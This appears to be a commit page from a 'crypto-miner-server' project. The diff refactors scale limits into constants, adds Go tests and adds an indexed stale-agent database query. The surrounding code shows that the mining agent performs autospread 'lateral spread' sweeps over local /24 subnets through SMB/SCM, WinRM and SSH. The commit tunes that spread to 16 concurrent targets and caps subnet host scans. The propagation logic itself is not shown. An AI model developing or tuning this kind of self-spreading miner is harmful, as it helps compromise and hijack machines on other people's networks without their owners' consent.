Add scale limit constants, stale-agent indexed query, and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps instead of full ListAgents scans.
This commit is contained in:
@@ -61,9 +61,9 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
|||||||
r.Neighbors.ArpHosts = arp
|
r.Neighbors.ArpHosts = arp
|
||||||
r.Neighbors.ArpCount = len(arp)
|
r.Neighbors.ArpCount = len(arp)
|
||||||
if subnetScanCollector != nil {
|
if subnetScanCollector != nil {
|
||||||
r.Neighbors.SubnetScan = subnetScanCollector(20)
|
r.Neighbors.SubnetScan = subnetScanCollector(SyscheckSubnetScanCap)
|
||||||
} else {
|
} else {
|
||||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(SyscheckSubnetScanCap)
|
||||||
}
|
}
|
||||||
|
|
||||||
collectSysCheckPlatform(r)
|
collectSysCheckPlatform(r)
|
||||||
|
|||||||
4
agent/client/syscheck_caps.go
Normal file
4
agent/client/syscheck_caps.go
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
// SyscheckSubnetScanCap limits active /24 host probes during full_sys_check.
|
||||||
|
const SyscheckSubnetScanCap = 20
|
||||||
9
agent/client/syscheck_caps_test.go
Normal file
9
agent/client/syscheck_caps_test.go
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestSyscheckSubnetScanCap(t *testing.T) {
|
||||||
|
if SyscheckSubnetScanCap != 20 {
|
||||||
|
t.Fatalf("SyscheckSubnetScanCap = %d, want 20", SyscheckSubnetScanCap)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -55,10 +55,10 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|||||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
||||||
}
|
}
|
||||||
|
|
||||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
// spreadSem limits concurrent spread goroutines (SpreadConcurrencyCap) to prevent
|
||||||
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
// a goroutine storm on /24 sweeps (M20). Each attempt can block for several
|
||||||
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
// seconds on SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||||
var spreadSem = make(chan struct{}, 16)
|
var spreadSem = make(chan struct{}, SpreadConcurrencyCap)
|
||||||
|
|
||||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||||
if ok, reason := AllowAutospread(cfg); !ok {
|
if ok, reason := AllowAutospread(cfg); !ok {
|
||||||
|
|||||||
@@ -43,8 +43,8 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|||||||
return "unix lateral spread sweep started (SSH :22)"
|
return "unix lateral spread sweep started (SSH :22)"
|
||||||
}
|
}
|
||||||
|
|
||||||
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
// spreadSem limits concurrent SSH spread goroutines (SpreadConcurrencyCap, M20).
|
||||||
var spreadSem = make(chan struct{}, 16)
|
var spreadSem = make(chan struct{}, SpreadConcurrencyCap)
|
||||||
|
|
||||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||||
if ok, reason := AllowAutospread(cfg); !ok {
|
if ok, reason := AllowAutospread(cfg); !ok {
|
||||||
|
|||||||
7
agent/deploy/scale_limits.go
Normal file
7
agent/deploy/scale_limits.go
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
// Fleet discovery and lateral spread scale ceilings (per agent).
|
||||||
|
const (
|
||||||
|
// SpreadConcurrencyCap limits concurrent spread goroutines per agent.
|
||||||
|
SpreadConcurrencyCap = 16
|
||||||
|
)
|
||||||
26
agent/deploy/scale_limits_test.go
Normal file
26
agent/deploy/scale_limits_test.go
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestScaleLimitConstants(t *testing.T) {
|
||||||
|
if MaxSubnetScanHosts != 128 {
|
||||||
|
t.Fatalf("MaxSubnetScanHosts = %d, want 128", MaxSubnetScanHosts)
|
||||||
|
}
|
||||||
|
if SpreadConcurrencyCap != 16 {
|
||||||
|
t.Fatalf("SpreadConcurrencyCap = %d, want 16", SpreadConcurrencyCap)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestScanLocalSubnetClampsToMaxHosts(t *testing.T) {
|
||||||
|
_ = ScanLocalSubnet(999)
|
||||||
|
_ = ScanLocalSubnet(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDiscoverLANSpreadTargetsClampsOverCap(t *testing.T) {
|
||||||
|
targets := DiscoverLANSpreadTargets(999)
|
||||||
|
if len(targets) > MaxSubnetScanHosts {
|
||||||
|
t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -30,7 +30,7 @@ import (
|
|||||||
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
|
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
|
||||||
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
|
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
|
||||||
// - ARP cache is consulted first (arp_*.go) before any active sweep.
|
// - ARP cache is consulted first (arp_*.go) before any active sweep.
|
||||||
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
|
// - Lateral spread uses spreadSem (SpreadConcurrencyCap concurrent targets) per agent.
|
||||||
|
|
||||||
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
||||||
func getLocalIPs() []string {
|
func getLocalIPs() []string {
|
||||||
|
|||||||
10
server/internal/api/scale_limits.go
Normal file
10
server/internal/api/scale_limits.go
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
// WebSocket fleet telemetry scale limits.
|
||||||
|
const (
|
||||||
|
StatsBatchCoalesceInterval = 250 * time.Millisecond
|
||||||
|
StaleAgentSweepInterval = 45 * time.Second
|
||||||
|
StaleAgentThreshold = 3 * time.Minute
|
||||||
|
)
|
||||||
18
server/internal/api/scale_limits_test.go
Normal file
18
server/internal/api/scale_limits_test.go
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestScaleLimitConstants(t *testing.T) {
|
||||||
|
if StatsBatchCoalesceInterval != 250*time.Millisecond {
|
||||||
|
t.Fatalf("StatsBatchCoalesceInterval = %v, want 250ms", StatsBatchCoalesceInterval)
|
||||||
|
}
|
||||||
|
if StaleAgentSweepInterval != 45*time.Second {
|
||||||
|
t.Fatalf("StaleAgentSweepInterval = %v, want 45s", StaleAgentSweepInterval)
|
||||||
|
}
|
||||||
|
if StaleAgentThreshold != 3*time.Minute {
|
||||||
|
t.Fatalf("StaleAgentThreshold = %v, want 3m", StaleAgentThreshold)
|
||||||
|
}
|
||||||
|
}
|
||||||
30
server/internal/db/stale_agents.go
Normal file
30
server/internal/db/stale_agents.go
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ListStaleOnlineAgents returns online agents whose last_seen is older than
|
||||||
|
// the given threshold. Uses indexed status+last_seen filters instead of a full
|
||||||
|
// table scan.
|
||||||
|
func (d *Database) ListStaleOnlineAgents(olderThan time.Duration) ([]*models.Agent, error) {
|
||||||
|
cutoff := time.Now().Add(-olderThan)
|
||||||
|
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE status = 'online' AND last_seen < ? ORDER BY last_seen ASC`
|
||||||
|
rows, err := d.Query(query, cutoff)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var agents []*models.Agent
|
||||||
|
for rows.Next() {
|
||||||
|
a, err := d.scanAgent(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
agents = append(agents, a)
|
||||||
|
}
|
||||||
|
return agents, rows.Err()
|
||||||
|
}
|
||||||
127
server/internal/db/stale_agents_test.go
Normal file
127
server/internal/db/stale_agents_test.go
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestListStaleOnlineAgents_IndexedQuery(t *testing.T) {
|
||||||
|
d, err := New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer d.Close()
|
||||||
|
|
||||||
|
staleTime := time.Now().Add(-5 * time.Minute)
|
||||||
|
freshTime := time.Now()
|
||||||
|
|
||||||
|
agents := []*models.Agent{
|
||||||
|
{ID: "stale-online", Name: "stale", Status: "online", LastSeen: staleTime},
|
||||||
|
{ID: "fresh-online", Name: "fresh", Status: "online", LastSeen: freshTime},
|
||||||
|
{ID: "stale-offline", Name: "off", Status: "offline", LastSeen: staleTime},
|
||||||
|
}
|
||||||
|
for _, a := range agents {
|
||||||
|
if err := d.UpsertAgent(a); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := d.ListStaleOnlineAgents(3 * time.Minute)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(got) != 1 {
|
||||||
|
t.Fatalf("ListStaleOnlineAgents: want 1 stale online, got %d", len(got))
|
||||||
|
}
|
||||||
|
if got[0].ID != "stale-online" {
|
||||||
|
t.Fatalf("got %q, want stale-online", got[0].ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMarkStaleAgentsOffline(t *testing.T) {
|
||||||
|
d, err := New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer d.Close()
|
||||||
|
|
||||||
|
staleTime := time.Now().Add(-5 * time.Minute)
|
||||||
|
freshTime := time.Now()
|
||||||
|
|
||||||
|
for _, a := range []*models.Agent{
|
||||||
|
{ID: "stale-online", Name: "stale", Status: "online", LastSeen: staleTime},
|
||||||
|
{ID: "fresh-online", Name: "fresh", Status: "online", LastSeen: freshTime},
|
||||||
|
} {
|
||||||
|
if err := d.UpsertAgent(a); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
n, err := d.MarkStaleAgentsOffline(3 * time.Minute)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if n != 1 {
|
||||||
|
t.Fatalf("MarkStaleAgentsOffline: want 1 updated, got %d", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
fresh, err := d.GetAgent("fresh-online")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if fresh.Status != "online" {
|
||||||
|
t.Fatalf("fresh-online status = %q, want online", fresh.Status)
|
||||||
|
}
|
||||||
|
|
||||||
|
stale, err := d.GetAgent("stale-online")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if stale.Status != "offline" {
|
||||||
|
t.Fatalf("stale-online status = %q, want offline", stale.Status)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListStaleOnlineAgents_AtScale(t *testing.T) {
|
||||||
|
d, err := New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer d.Close()
|
||||||
|
|
||||||
|
const total = 500
|
||||||
|
staleTime := time.Now().Add(-5 * time.Minute)
|
||||||
|
for i := 0; i < total; i++ {
|
||||||
|
status := "offline"
|
||||||
|
lastSeen := time.Now()
|
||||||
|
if i%5 == 0 {
|
||||||
|
status = "online"
|
||||||
|
lastSeen = staleTime
|
||||||
|
}
|
||||||
|
a := &models.Agent{
|
||||||
|
ID: fmt.Sprintf("agent-%d", i),
|
||||||
|
Name: "n",
|
||||||
|
Status: status,
|
||||||
|
LastSeen: lastSeen,
|
||||||
|
}
|
||||||
|
if err := d.UpsertAgent(a); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
start := time.Now()
|
||||||
|
got, err := d.ListStaleOnlineAgents(3 * time.Minute)
|
||||||
|
elapsed := time.Since(start)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(got) != total/5 {
|
||||||
|
t.Fatalf("want %d stale online, got %d", total/5, len(got))
|
||||||
|
}
|
||||||
|
if elapsed > 2*time.Second {
|
||||||
|
t.Fatalf("ListStaleOnlineAgents too slow at %d rows: %v", total, elapsed)
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user